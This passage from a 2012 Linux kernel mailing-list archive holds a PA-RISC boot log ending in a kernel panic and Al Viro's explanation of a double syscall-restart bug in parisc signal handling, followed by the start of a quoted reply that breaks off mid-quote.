7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Setting cache flush threshold to 1a0 (1 CPUs online)
SBA found Astro 2.1 at 0xfed00000
Elroy version TR4.0 (0x5) found at 0xfed30000
LBA 10:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
pci_bus 0000:00: root bus resource [mem 0xf2000000-0xf23fffff]
PCI: Enabled native mode for NS87415 (pif=0x8f)
Elroy version TR4.0 (0x5) found at 0xfed32000
LBA 10:1: PCI host bridge to bus 0000:01
pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address 
[0x2000-0x3fff])
pci_bus 0000:01: root bus resource [mem 0xf6000000-0xf6ffffff]
pci_bus 0000:01: root bus resource [mem 0xf2400000-0xf27fffff]
pci 0000:01:04.0: no compatible bridge window for [mem 
0xf6000000-0xf7ffffff]
iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
pci 0000:01:05.0: no compatible bridge window for [mem 
0xf8000000-0xf8ffffff pref]
iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
pci 0000:01:06.0: PCI bridge to [bus 02-ff]
pci 0000:01:06.0: can't handle 64-bit address space for bridge
pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
pci 0000:01:06.0: no compatible bridge window for [mem 
0xf9000000-0xfbffffff]
pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
pci 0000:01:06.0: device not available (can't reserve [mem 
0xf9000000-0xfbffffff])
pci 0000:01:06.0: Error enabling bridge (-22), continuing
Elroy version TR4.0 (0x5) found at 0xfed38000
LBA 10:4: PCI host bridge to bus 0000:03
pci_bus 0000:03: root bus resource [io  0x28000-0x29fff] (bus address 
[0x8000-0x9fff])
pci_bus 0000:03: root bus resource [mem 0xf3000000-0xf33fffff]
Elroy version TR4.0 (0x5) found at 0xfed3c000
LBA 10:6: PCI host bridge to bus 0000:04
pci_bus 0000:04: root bus resource [io  0x3c000-0x3dfff] (bus address 
[0xc000-0xdfff])
pci_bus 0000:04: root bus resource [mem 0xf4000000-0xf5ffffff]
pci_bus 0000:04: root bus resource [mem 0xf3800000-0xf3bfffff]
iosapic: hpa not registered for 0000:04:02.0
powersw: Soft power switch at 0xf0400804 enabled.
bio: create slab <bio-0> at 0
raid6: int32x1    393 MB/s
raid6: int32x2    481 MB/s
raid6: int32x4    524 MB/s
raid6: int32x8    478 MB/s
raid6: using algorithm int32x4 (524 MB/s)
vgaarb: device added: PCI:0000:02:00.0,decodes=io+mem,owns=none,locks=none
vgaarb: loaded
vgaarb: bridge control possible 0000:02:00.0
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource cr16
NET: Registered protocol family 2
IP route cache hash table entries: 65536 (order: 6, 262144 bytes)
TCP established hash table entries: 262144 (order: 9, 2097152 bytes)
TCP bind hash table entries: 65536 (order: 8, 1310720 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP: reno registered
UDP hash table entries: 1024 (order: 3, 49152 bytes)
UDP-Lite hash table entries: 1024 (order: 3, 49152 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
Enabling PDC chassis warnings support v0.05
Initializing RT-Tester: OK
====[ backtrace testing ]===========
Testing a backtrace from process context.
The following trace is a kernel self test and not a bug!
Backtrace:
  [<10119bc8>] dump_stack+0x1c/0x2c
  [<1017d35c>] backtrace_regression_test+0x44/0x124
  [<10117f48>] do_one_initcall+0x258/0x2b8
  [<1078a208>] kernel_init+0x184/0x214
  [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a backtrace from irq context.
The following trace is a kernel self test and not a bug!
Backtrace:
  [<10119bc8>] dump_stack+0x1c/0x2c
  [<1017d2f8>] backtrace_test_irq_callback+0x18/0x38
  [<10139840>] tasklet_action+0x78/0xdc
  [<10139dd4>] __do_softirq+0x130/0x17c
  [<10139e90>] run_ksoftirqd+0x70/0x124
  [<101512f4>] kthread+0xac/0xb4
  [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a saved backtrace.
The following trace is a kernel self test and not a bug!
  [<101234b0>] save_stack_trace+0x28/0x60
  [<1017d408>] backtrace_regression_test+0xf0/0x124
  [<10117f48>] do_one_initcall+0x258/0x2b8
  [<1078a208>] kernel_init+0x184/0x214
  [<1010405c>] ret_from_kernel_thread+0x1c/0x24
  [<ffffffff>] 0xffffffff
====[ end of backtrace testing ]====
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
msgmni has been set to 4034
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
start plist test
end plist test
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
sti 0000:01:04.0: device not available (can't reserve [mem 
0xf6000000-0xf7ffffff])
sti 0000:01:04.0: Cannot enable PCI device
sti: probe of 0000:01:04.0 failed with error -22
STI PCI graphic ROM found at f3800000 (2048 kB), fb at f4000000 (32 MB)
     id 35acda30-9a02587, conforms to spec rev. 8.0d
     graphics card name: A1262A
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
matroxfb 0000:02:00.0: enabling SERR and PARITY (0007 -> 0147)
matroxfb: Matrox G450 detected
PInS memtype = 4
matroxfb: cannot determine memory size
matroxfb: probe of 0000:02:00.0 failed with error -1
stifb: 'A1262A' (id: 0x35acda30) not supported.
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
Linux agpgart interface v0.103
brd: module loaded
loop: module loaded
Uniform Multi-Platform E-IDE driver
ns87415 0000:00:0e.0: IDE controller (0x100b:0x0002 rev 0x03)
ns87415 0000:00:0e.0: 100% native mode on irq 7
     ide0: BM-DMA at 0x0a00-0x0a07
     ide1: BM-DMA at 0x0a08-0x0a0f
hda: CD-532E-B, ATAPI CD/DVD-ROM drive
ide0 at 0xf00-0xf07,0xe02 on irq 7
ide1 at 0xd00-0xd07,0xb02 on irq 7
ide-gd driver 1.18
ide-cd driver 5.00
ide-cd: hda: ATAPI 32X CD-ROM drive, 128kB Cache
cdrom: Uniform CD-ROM driver Revision: 3.20
sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 68
sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 68
sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.3
scsi 1:0:5:0: Direct-Access     SEAGATE  ST39102LC        HP01 PQ: 0 ANSI: 2
scsi target1:0:5: tagged command queuing enabled, command queue depth 16.
scsi target1:0:5: Beginning Domain Validation
scsi target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 15)
scsi target1:0:5: Domain Validation skipping write tests
scsi target1:0:5: Ending Domain Validation
scsi 1:0:6:0: Direct-Access     HP 36.4G ST336607LC       HPC3 PQ: 0 ANSI: 3
scsi target1:0:6: tagged command queuing enabled, command queue depth 16.
scsi target1:0:6: Beginning Domain Validation
scsi target1:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
scsi target1:0:6: Domain Validation skipping write tests
scsi target1:0:6: Ending Domain Validation
st: Version 20101219, fixed bufsize 32768, s/g segs 256
sd 1:0:5:0: Attached scsi generic sg0 type 0
sd 1:0:6:0: Attached scsi generic sg1 type 0
Linux Tulip driver version 1.1.15 (Feb 27, 2007)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1
net eth0: Digital DS21142/43 Tulip rev 65 at Port 0x1000, 
00:30:6e:48:aa:64, IRQ 65
tulip1: EEPROM default media type Autosense
tulip1: Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block
tulip1: Index #1 - Media 10base2 (#1) described by a 21142 Serial PHY 
(2) block
tulip1: Index #2 - Media AUI (#2) described by a 21142 Serial PHY (2) block
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101
sd 1:0:5:0: [sda] 17773524 512-byte logical blocks: (9.10 GB/8.47 GiB)
sd 1:0:6:0: [sdb] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
sd 1:0:5:0: [sda] Write Protect is off
sd 1:0:6:0: [sdb] Write Protect is off
net eth1: Digital DS21142/43 Tulip rev 33 at Port 0x28000, 
00:60:b0:7a:12:89, IRQ 71
LASI 82596 driver - Revision: 1.30
sd 1:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports 
DPO and FUA
sd 1:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports 
DPO and FUA
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
ohci_hcd 0000:00:0e.2: OHCI Host Controller
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf2007000
  sda: sda1 sda2 sda3 sda4
  sdb: sdb1 sdb2 sdb3 sdb4
usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb1: Product: OHCI Host Controller
usb usb1: Manufacturer: Linux 3.4.0-rc7-32bit+ ohci_hcd
usb usb1: SerialNumber: 0000:00:0e.2
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 3 ports detected
uhci_hcd: USB Universal Host Controller Interface driver
mousedev: PS/2 mouse device common for all mice
sd 1:0:6:0: [sdb] Attached SCSI disk
sd 1:0:5:0: [sda] Attached SCSI disk
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
md: raid6 personality registered for level 6
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
device-mapper: uevent: version 1.0.3
device-mapper: ioctl: 4.22.0-ioctl (2011-10-19) initialised: 
dm-devel@redhat.com
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
oprofile: using timer interrupt.
TCP: cubic registered
NET: Registered protocol family 17
rtc-generic rtc-generic: setting system clock to 2012-05-18 21:06:15 UTC 
(1337375175)
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 
192.168.178.66
IP-Config: Complete:
      device=eth0, addr=192.168.178.66, mask=255.255.255.0, gw=192.168.178.1
      host=c3000, domain=box, nis-domain=(none)
      bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Waiting for all devices to be available before autodetect
md: If you don't use raid, use raid=noautodetect
md: Autodetecting RAID arrays.
md: Scanned 0 and added 0 devices.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda3): mounted filesystem with writeback data mode
VFS: Mounted root (ext3 filesystem) readonly on device 8:3.
Freeing unused kernel memory: 316k freed
Backtrace:
  [<10119560>] clear_user_page_asm+0x44/0x6c
  [<101195dc>] clear_user_page+0x54/0x6c
  [<101bbaa8>] handle_pte_fault+0x5dc/0x7a8
  [<101bbd3c>] handle_mm_fault+0xc8/0x120
  [<101bbffc>] __get_user_pages+0x160/0x3c4
  [<101bc348>] get_user_pages+0x50/0x60
  [<101e169c>] get_arg_page+0x64/0xe8
  [<101e182c>] copy_strings+0x10c/0x248
  [<101e1990>] copy_strings_kernel+0x28/0x44
  [<101e328c>] do_execve+0x2a0/0x36c
  [<10120424>] sys_execve+0x44/0x7c
  [<10104084>] __execve+0x20/0x34
  [<10133b9c>] vprintk+0x1d8/0x4f4
  [<10133ee8>] printk+0x30/0x40
  [<10118550>] free_initmem+0x154/0x184
  [<10117cbc>] init_post+0xa0/0xd4


Kernel Fault: Code=26 regs=8fc30940 (Addr=0f2ff000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001110 Not tainted
r00-03  0006ff0e 00000040 10119560 8fc308c0
r04-07  106e5820 107d2000 0000000f 10768020
r08-11  ffeffff1 8f0aeffc 8f08ce40 00000001
r12-15  00000000 00000017 00000001 00000000
r16-19  00004400 00000020 00000000 ffffffff
r20-23  00000000 00000000 00000001 00000040
r24-27  1090aa40 ffeffff1 0000fa40 106e2020
r28-31  0f2ff000 0007d8a3 8fc30940 0007d045
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10100eec 10100ef0
  IIR: 0f801280    ISR: 00000000  IOR: 0f2ff000
  CPU:        0   CR30: 8fc30000 CR31: ffffffff
  ORIG_R28: 8f812728
  IAOQ[0]: __clear_user_page_asm+0x20/0x70
  IAOQ[1]: __clear_user_page_asm+0x24/0x70
  RP(r2): clear_user_page_asm+0x44/0x6c
Backtrace:
  [<10119560>] clear_user_page_asm+0x44/0x6c
  [<101195dc>] clear_user_page+0x54/0x6c
  [<101bbaa8>] handle_pte_fault+0x5dc/0x7a8
  [<101bbd3c>] handle_mm_fault+0xc8/0x120
  [<101bbffc>] __get_user_pages+0x160/0x3c4
  [<101bc348>] get_user_pages+0x50/0x60
  [<101e169c>] get_arg_page+0x64/0xe8
  [<101e182c>] copy_strings+0x10c/0x248
  [<101e1990>] copy_strings_kernel+0x28/0x44
  [<101e328c>] do_execve+0x2a0/0x36c
  [<10120424>] sys_execve+0x44/0x7c
  [<10104084>] __execve+0x20/0x34
  [<10133b9c>] vprintk+0x1d8/0x4f4
  [<10133ee8>] printk+0x30/0x40
  [<10118550>] free_initmem+0x154/0x184
  [<10117cbc>] init_post+0xa0/0xd4

Kernel panic - not syncing: Kernel Fault

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Fri, 18 May 2012 23:24:22 +0100
Lines: 119
Approved: news@gmane.org
Message-ID: <20120518222422.GX22082@ZenIV.linux.org.uk>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
 <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
 <20120518195610.GV22082@ZenIV.linux.org.uk>
 <CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com>
 <CADZpyixTTcNd0GekBg=UeWMf3eR+Casn6r7cLkcfnaH1Mihk=w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1337379876 16773 80.91.229.3 (18 May 2012 22:24:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 May 2012 22:24:36 +0000 (UTC)
Cc: Grant Grundler <grantgrundler@gmail.com>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-arch-owner@vger.kernel.org Sat May 19 00:24:33 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SVVb4-000839-MC
	for glka-linux-arch@plane.gmane.org; Sat, 19 May 2012 00:24:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759593Ab2ERWY3 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 18 May 2012 18:24:29 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:46246 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757296Ab2ERWY2 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 18 May 2012 18:24:28 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1SVVaw-00005L-Sn; Fri, 18 May 2012 22:24:22 +0000
Content-Disposition: inline
In-Reply-To: <CADZpyixTTcNd0GekBg=UeWMf3eR+Casn6r7cLkcfnaH1Mihk=w@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:14190 gmane.linux.ports.parisc:4439
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/14190>

On Fri, May 18, 2012 at 04:15:42PM -0400, Carlos O'Donell wrote:

> I've hit "Mark as unread" twice on this thread now because I *am*
> interested in this conversation.
> 
> However, I must confess that the original email reads like a rant
> without a clear explanation of exactly what you think is wrong.
> 
> I'm familiar with the PARISC signal code because I worked on the
> 32/64-bit compat support for the frame layout, I also helped Randolph
> work on the syscall restart logic.
> 
> What I don't understand is what's wrong with it now, and your subject
> begins to hint at the problem.
> 
> Can you describe in more detail exactly what problem we need to solve?

Sure.  Have e.g. read(2) on a pipe called when you happen to have -512 in
r28 and have two signals arrive at once while inside that read().  Both
with user handlers.  Both with SA_RESTART.

When we enter the kernel, we have pt_regs created on kernel stack and
filled with the values we had in registers.  Among other things, the
value of r28 is stored in regs->orig_r28.  Note that arguments and the
syscall number are all passed through other registers, so setting the
arguments for syscall did not overwrite the value we used to have in
r28.  It's still -512.

We find which C function to call (sys_read) and go there, with return
address set to syscall_exit.

sys_read() ends up calling pipe_read(), which finds pipe empty and goes
to sleep.  The signals arrive and pipe_read() is woken up.  It sees that
	* signal_pending() is true
	* nothing has been read yet
so it return -ERESTARSYS.  sys_read() returns what it got from pipe_read().

Now we are at syscall_exit.  We set r1 to pt_regs created on stack when
we entered the syscall.  Return value of sys_read() is taken from r28 and
stored into regs->gr[28].  We check TIF_NEED_RESCHED and it's not set.
We'd reached syscall_check_sig and check TIF_SIGPENDING, which is set.
We go through syscall_do_signal and reach the call of
do_notify_resume(regs, 1), which calls do_signal(regs, 1).

There we call get_signal_to_deliver() and get one of those two signals
dequeued and returned.  Note that TIF_SIGPENDING is still set - there is
the second signal left.  We got positive signr, so we do not leave the
loop yet.  in_syscall is 1, so we call syscall_restart().

We check regs->gr[28], which is -ERESTARTSYS.  SA_RESTART is set in
sa_flags, so we fall through to the next case, which is
                regs->gr[31] -= 8; /* delayed branching */
                /* Preserve original r28. */
                regs->gr[28] = regs->orig_r28;
Note that ERESTARTSYS is 512, so the second assignment does nothing - we
still have regs->gr[28] equal to -ERESTARTSYS.  We are done with
syscall_restart().

Now we call handle_signal(), which calls setup_rt_frame().  sigframe is
allocated on userland stack and filled accordingly to the contents of *regs.
No errors occured, so we set regs->gr[31] to entry point of signal handler,
regs->gr[2] to address of sigreturn trampoline we'd created in the sigframe,
regs->gr[26..24] to arguments of handler, and regs->gr[30] to new value of
userland stack pointer.

Back in handle_signal(), we adjust the set of blocked signals and return 1.
do_signal() sees that RESTORE_SIGMASK is not set and it's done - we return
to do_notify_resume() and from there back into entry.S.

We reload registers from pt_regs and go to syscall_check_sig again.  There
we reread the thread flags and see that SIGPENDING is still set - we have
another signal to deal with.  We hit do_notify_resume() and do_signal()
again.  And again, in_syscall is 1.

do_signal() gets the remaining pending signal from get_signal_to_deliver().
Again, we call syscall_restart().  And neither regs->gr[28] nor regs->orig_r28
has been changed, so we hit the same case.  Assignment to regs->gr[28] is
a no-op again.  But look what happened to regs->gr[31] - it got decremented
by 8.  So it points 8 bytes before the entry point of the first handler now.

We proceed to set the second sigframe up.  The registers are saved in
sigcontext, adjusted so that they correspond to the call of the second
handler with future return to the second trampoline and we return all the
way out to entry.S.  There we go to syscall_check_sig again, but this
time we have no pending signals left, so we reach syscall_restore and
proceed to userland.

Now we are in the second handler.  It's executed to the end and when it
returns, we go to the address we had in r2.  I.e. the second trampoline.
There we get r25 set to 1, r20 set to __NR_rt_sigreturn and we go to
execute the syscall.  Which restores the registers from sigcontext and,
since its in_syscall argument is 1, sets ->gr[31] to sc->sc_iaoq.  Which
had been set by setup_rt_sigcontext() from regs->gr[31] at the moment it
had been called, i.e. the entry point of the first handler decremented by 8.  
Then we proceed to return to userland.  And arrive there are the right
arguments for the first handler, but instruction pointer is 8 bytes too
early.  Bad things happen, obviously.

The point where the things go wrong is the second call of syscall_restart().
It should've done nothing.  We need to do syscall restarts only when building
the first sigframe.  And usually it does work out that way, simply because
the value you happened to have in r28 is probably not one of the 4 that
make syscall_restart() do things.  So after the first time around it does
nothing.  Very similar logics on x86 does, indeed, work in all cases.
There the register used for return values happens to be the same as we use
to pass syscall number, so you can't arrange a call of syscall_restart()
analog that would trigger restart *and* leave the return value register
unchanged - you'd need %eax to be -ERESTART<something> when you enter the
syscall and that would immediately result in regs->ax set to -ENOSYS.  I.e.
no restarts would be done.  However, on parisc that doesn't work - you can
start with r28 being -ERESTARTSYS and get -ERESTARTSYS from syscall.

And no, I don't have any good suggestions on how to fix it right now.  Depends
on how does gdb on parisc play with pt_regs, among other things...

Sorry if the original posting sounded like a rant - I'd spent the last month
crawling through the assembler glue around signal hanlding all over arch/*
and that probably affected the tone.  Definitely had been affecting the amount
of spoken obscenities lately...

From - Thu Nov 08 21:08:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Fri, 18 May 2012 21:36:47 -0400
Lines: 191
Approved: news@gmane.org
Message-ID: <CADZpyix9s+086K7W5Bd1mx15go+927rp+ihBOX43gBBsYEtTBg@mail.gmail.com>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
	<CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
	<20120518195610.GV22082@ZenIV.linux.org.uk>
	<CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com>
	<CADZpyixTTcNd0GekBg=UeWMf3eR+Casn6r7cLkcfnaH1Mihk=w@mail.gmail.com>
	<20120518222422.GX22082@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337391414 20197 80.91.229.3 (19 May 2012 01:36:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 19 May 2012 01:36:54 +0000 (UTC)
Cc: Grant Grundler <grantgrundler@gmail.com>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Al Viro <viro@zeniv.linux.org.uk>
Original-X-From: linux-arch-owner@vger.kernel.org Sat May 19 03:36:52 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SVYbD-00049w-B1
	for glka-linux-arch@plane.gmane.org; Sat, 19 May 2012 03:36:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755255Ab2ESBgu convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 18 May 2012 21:36:50 -0400
Original-Received: from mail-pb0-f46.google.com ([209.85.160.46]:39203 "EHLO
	mail-pb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753547Ab2ESBgs convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 18 May 2012 21:36:48 -0400
Original-Received: by pbbrp8 with SMTP id rp8so4627922pbb.19
        for <multiple recipients>; Fri, 18 May 2012 18:36:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=ggNQYb2uDKVCgIohf5tcNWp4t3M9gE5BrAt7CQjg6LQ=;
        b=OZIdPKkiGope3IseE5kpRM6jgXm6byq2lwcBFZkDIGejXE8StprhHdQpfKX4PN1L2c
         nxSrkSs0diYqYEcNoSAoo3hNWhD6XpesTWcoZF5cDK55iFqE8vY5XqaqfY6OwEv70Zzx
         ygawdOAHgWFGGsr1kaTpRWNugi9YF9z2JsOWJ+krqXlA85P1/Y76lKWSSI924zXL82sE
         p5fNtTiUNlBwzruY1Fwshr8EmacclKQ7mrtfKRiq+zhQSGlGdx8zujyeQCCFSYABXL5Z
         WQXTvBj5jcl9BL0m0dbG+QiJjwTmtt9DlAKuAwwT98lviJVruU2iQmrQPSUDTgNb9Eu9
         Ed9Q==
Original-Received: by 10.68.197.41 with SMTP id ir9mr11808233pbc.20.1337391407876; Fri,
 18 May 2012 18:36:47 -0700 (PDT)
Original-Received: by 10.68.125.131 with HTTP; Fri, 18 May 2012 18:36:47 -0700 (PDT)
In-Reply-To: <20120518222422.GX22082@ZenIV.linux.org.uk>
X-Google-Sender-Auth: S3cKwns5dYtUlUpLLF7Ph8WtEao
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:14192 gmane.linux.ports.parisc:4440
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/14192>

On Fri, May 18, 2012 at 6:24 PM, Al Viro <viro@zeniv.linux.org.uk> wrot=
e:
> On Fri, May 18, 2012 at 04:15:42PM -0400, Carlos O'Donell wrote:
>
>> I've hit "Mark as unread" twice on this thread now because I *am*
>> interested in this conversation.
>>
>> However, I must confess that the original email reads like a rant
>> without a clear explanation of exactly what you think is wrong.
>>
>> I'm familiar with the PARISC signal code because I worked on the
>> 32/64-bit compat support for the frame layout, I also helped Randolp=
h
>> work on the syscall restart logic.
>>
>> What I don't understand is what's wrong with it now, and your subjec=
t
>> begins to hint at the problem.
>>
>> Can you describe in more detail exactly what problem we need to solv=
e?
>
> Sure. =A0Have e.g. read(2) on a pipe called when you happen to have -=
512 in
> r28 and have two signals arrive at once while inside that read(). =A0=
Both
> with user handlers. =A0Both with SA_RESTART.
>
> When we enter the kernel, we have pt_regs created on kernel stack and
> filled with the values we had in registers. =A0Among other things, th=
e
> value of r28 is stored in regs->orig_r28. =A0Note that arguments and =
the
> syscall number are all passed through other registers, so setting the
> arguments for syscall did not overwrite the value we used to have in
> r28. =A0It's still -512.
>
> We find which C function to call (sys_read) and go there, with return
> address set to syscall_exit.
>
> sys_read() ends up calling pipe_read(), which finds pipe empty and go=
es
> to sleep. =A0The signals arrive and pipe_read() is woken up. =A0It se=
es that
> =A0 =A0 =A0 =A0* signal_pending() is true
> =A0 =A0 =A0 =A0* nothing has been read yet
> so it return -ERESTARSYS. =A0sys_read() returns what it got from pipe=
_read().
>
> Now we are at syscall_exit. =A0We set r1 to pt_regs created on stack =
when
> we entered the syscall. =A0Return value of sys_read() is taken from r=
28 and
> stored into regs->gr[28]. =A0We check TIF_NEED_RESCHED and it's not s=
et.
> We'd reached syscall_check_sig and check TIF_SIGPENDING, which is set=
=2E
> We go through syscall_do_signal and reach the call of
> do_notify_resume(regs, 1), which calls do_signal(regs, 1).
>
> There we call get_signal_to_deliver() and get one of those two signal=
s
> dequeued and returned. =A0Note that TIF_SIGPENDING is still set - the=
re is
> the second signal left. =A0We got positive signr, so we do not leave =
the
> loop yet. =A0in_syscall is 1, so we call syscall_restart().
>
> We check regs->gr[28], which is -ERESTARTSYS. =A0SA_RESTART is set in
> sa_flags, so we fall through to the next case, which is
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0regs->gr[31] -=3D 8; /* delayed branch=
ing */
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/* Preserve original r28. */
